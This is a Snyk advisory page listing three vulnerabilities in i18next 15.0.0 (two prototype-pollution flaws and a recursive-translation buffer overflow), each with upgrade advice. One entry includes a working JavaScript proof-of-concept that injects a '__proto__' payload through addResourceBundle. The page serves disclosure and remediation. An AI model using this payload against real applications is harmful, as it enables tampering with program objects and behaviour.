i18next@15.0.0 vulnerabilities

i18next internationalization framework

Direct Vulnerabilities

Known vulnerabilities in the i18next package. This does not include vulnerabilities belonging to this package’s dependencies.

Automatically find and fix vulnerabilities affecting your projects. Snyk scans for vulnerabilities and provides fixes for free.
Fix for free
Vulnerability Vulnerable Version
  • H
Prototype Pollution

i18next is an internationalization framework for browser or any other javascript environment (eg. node.js).

Affected versions of this package are vulnerable to Prototype Pollution via getLastOfPath() in i18next.js.

How to fix Prototype Pollution?

Upgrade i18next to version 19.8.5 or higher.

<19.8.5
  • M
Prototype Pollution

i18next is an internationalization framework for browser or any other javascript environment (eg. node.js).

Affected versions of this package are vulnerable to Prototype Pollution. This vulnerability relates to the AddResourceBundle API which uses the the deepExtend function (https://github.com/i18next/i18next/blob/master/i18next.js#L361-L370) internally to extend existing translations in a file. Depending on if user input is provided, an attacker can overwrite and pollute the object prototype of a program.

PoC

import i18n from "i18next";
i18n.init({
    resources: {
      en: {
        namespace1: {
          key: 'hello from namespace 1'
        },
        namespace2: {
          key: 'hello from namespace 2'
        }
      },
      de: {
        namespace1: {
          key: 'hallo von namespace 1'
        },
        namespace2: {
          key: 'hallo von namespace 2'
        }  
      }
    }
  });

  var malicious_payload = '{"__proto__":{"vulnerable":"Polluted"}}';
  i18n.init({ resources: {} });
  i18n.addResourceBundle('en', 'namespace1', JSON.parse(malicious_payload)
  ,true,true);
 
 
console.log(i18n.options.resources);
//a newly created empty object has the vulnerable property
console.log({}.vulnerable);

How to fix Prototype Pollution?

Upgrade i18next to version 19.8.3 or higher.

<19.8.3
  • M
Buffer Overflow

i18next is an internationalization framework for browser or any other javascript environment (eg. node.js).

Affected versions of this package are vulnerable to Buffer Overflow. It is possible to cause buffer overflow by changing the translation to be recursive.

How to fix Buffer Overflow?

Upgrade i18next to version 19.5.5 or higher.

<19.5.5